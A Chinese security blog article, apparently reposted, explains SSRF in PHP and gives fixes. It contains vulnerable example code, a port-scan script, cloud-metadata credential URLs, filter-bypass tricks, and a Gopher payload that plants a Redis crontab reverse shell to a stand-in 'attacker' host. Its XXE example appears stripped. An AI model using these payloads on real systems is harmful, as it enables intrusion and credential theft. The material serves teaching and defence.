文章总结: 本文详细分析了PHP中SSRF漏洞的成因、利用手法与防护方案。核心发现包括curl_exec等函数可能触发SSRF攻击,攻击者可利用Gopher协议攻击内网服务或读取云元数据。文档提供了IP限制绕过技巧(如DNS重绑定)并给出白名单限制、禁用危险协议等可操作修复建议。 综合评分: 85 文章分类: 代码审计,WEB安全,漏洞分析,渗透测试,安全开发
[代码审计] php SSRF
原创
Pik安全实验室 Pik安全实验室
Pik安全实验室
2026年5月25日 10:13 广东
在小说阅读器读本章
去阅读
0x00 介绍
SSRF(Server-Side Request Forgery,服务端请求伪造)是指攻击者通过控制服务端发起的网络请求,使其访问内部网络资源或外部服务。在 PHP 中,SSRF 通常发生在程序使用用户可控的 URL 参数去请求资源时,如 curl、file_get_contents、fsockopen 等函数。SSRF 的核心危害在于:攻击者可以绕过防火墙访问内部系统,读取云元数据,探测内网端口,甚至结合其他漏洞实现 RCE。
0x01 产生 SSRF 的函数
curl_exec()
curl 是最常见的 SSRF 触发点。它支持丰富的协议(HTTP、HTTPS、FTP、Gopher、Dict、File 等),攻击面最大。
// curl_exec() 示例 $url = $_GET[‘url’]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); echo $output;
// 攻击: ?url=http://169.254.169.254/latest/meta-data/ // 攻击: ?url=file:///etc/passwd // 攻击: ?url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall…
file_get_contents()
file_get_contents 支持 HTTP 和 FTP 协议,如果 allow_url_fopen 开启(默认开启),可直接用于 SSRF。
// file_get_contents() 示例 $url = $_GET[‘url’]; $content = file_get_contents($url); echo $content;
// 攻击: ?url=http://169.254.169.254/latest/meta-data/ // 攻击: ?url=http://127.0.0.1:8080/admin
fsockopen()
fsockopen 可以建立任意 TCP 连接,适合构造原始 HTTP 请求和利用 Gopher/Dict 等协议的内网服务。
// fsockopen() 示例 $host = $_GET[‘host’]; $port = $_GET[‘port’]; $fp = fsockopen($host, $port, $errno, $errstr, 30); if (!$fp) { echo “$errstr ($errno)”; } else { fwrite($fp, “GET / HTTP/1.0\r\nHost: $host\r\n\r\n”); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } // 攻击: ?host=127.0.0.1&port=6379 — Redis 探测 // 攻击: ?host=10.0.0.1&port=22 — 内网端口扫描
fopen() + stream_context_create()
fopen 配合流上下文可以发起 HTTP 请求。支持更多自定义选项,同样可以触发 SSRF。
readfile() / get_headers() / getimagesize()
这些函数也接受 URL 参数并发起网络请求,容易被忽略但同样存在 SSRF 风险。
SimpleXML/DOMDocument load 方法
XML 解析器在加载外部实体时会发起请求,利用 XXE 可配合 SSRF 攻击。
// XML 解析触发 SSRF $xml = $_POST[‘xml’]; $doc = new DOMDocument(); $doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
// 攻击 payload // // // ]> //&xxe;
0x02 利用手法
内网端口探测
利用响应时间和内容差异判断端口开放状态,扫描内网存活主机和服务。
端口扫描脚本
import requests for port in [22, 80, 443, 3306, 6379, 8080, 9200]: try: r = requests.get(f’http://target/ssrf.php?url=http://127.0.0.1:{port}’, timeout=2) print(f”Port {port}: OPEN (len={len(r.text)})”) except: print(f”Port {port}: CLOSED/TIMEOUT”)
读取云元数据
云服务器厂商提供了本地元数据 API,通常监听在 169.254.169.254。这是 SSRF 最高价值的利用场景之一,可直接获取 AccessKey 等敏感凭证。
AWS
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/
阿里云
http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/ram/security-credentials/
腾讯云
http://metadata.tencentyun.com/latest/meta-data/
Google Cloud
http://metadata.google.internal/computeMetadata/v1/
Gopher 协议攻击内网服务
Gopher 协议是 SSRF 中利用价值最高的协议,可以构造任意 TCP 数据包,直接攻击 Redis、MySQL、FastCGI 等内网服务。curl 默认支持 gopher 协议。
Gopher 攻击 Redis(写入 crontab 反弹 shell)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
Gopher 攻击 MySQL
Gopher 攻击 FastCGI
Gopher 攻击 Memcached
Dict 协议端口探测
Dict 协议可用于探测端口和获取服务 banner 信息。
dict://127.0.0.1:6379/info # Redis 信息泄露 dict://127.0.0.1:3306/ # MySQL 探测 dict://127.0.0.1:22/ # SSH banner
0x03 绕过技巧
IP 限制绕过
许多程序会过滤 127.0.0.1、localhost、内网 IP 等。但存在多种绕过方式:
1. 短地址绕过
http://0/ # 指向 0.0.0.0 http://127.1/ # 指向 127.0.0.1 http://2130706433/ # 十进制 IP http://0x7f000001/ # 十六进制 IP http://0177.0.0.1/ # 八进制 IP
2. DNS 重绑定
域名第一次解析为合法 IP,第二次解析为 127.0.0.1
http://xxx.1u.ms/ # DNS Rebinding 服务
3. 302 跳转
先让服务端访问一个合法 URL,返回 302 跳转到内网地址
4. IPv6
http://[::1]:8080/ http://[::ffff:127.0.0.1]/
5. 特殊域名
http://localtest.me/ # 解析到 127.0.0.1 http://spoofed.burpcollaborator.net/
协议限制绕过
如果程序限制只能用 http/https,可以尝试 URL 解析差异绕过。
URL 解析差异
http://127.0.0.1:6379/ # curl 解析为 HTTP 去 6379 端口
或利用 CRLF 注入
http://target/#@127.0.0.1:6379/
利用 PHP 的 parse_url 与 curl 的解析差异
parse_url 认为是 host,curl 认为是 creds
http://[email protected]/
0x04 修复方案
- 白名单限制
只允许访问预先定义好的域名和 IP 列表,拒绝其他所有请求。
- 禁用危险协议
curl 中禁用 Gopher、Dict、File 等危险协议,只保留 HTTP/HTTPS。
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
- 内网 IP 黑名单
过滤目标 IP,禁止访问内网地址段。但黑名单易被绕过,建议配合白名单使用。
- 网络隔离
将 Web 服务器放在独立的网络区域,通过防火墙限制其访问内网资源。这是纵深防御中最有效的一层。
本文仅作安全研究与学习用途,用于非法行为后果自行承担。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Pik安全实验室 Pik安全实验室 Pik安全实验室《[代码审计] php SSRF》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[代码审计]phpSSRF](/images/random/titlepic/13.jpg)
![[前沿技术]依赖混淆攻击实战](/images/random/titlepic/10.jpg)






评论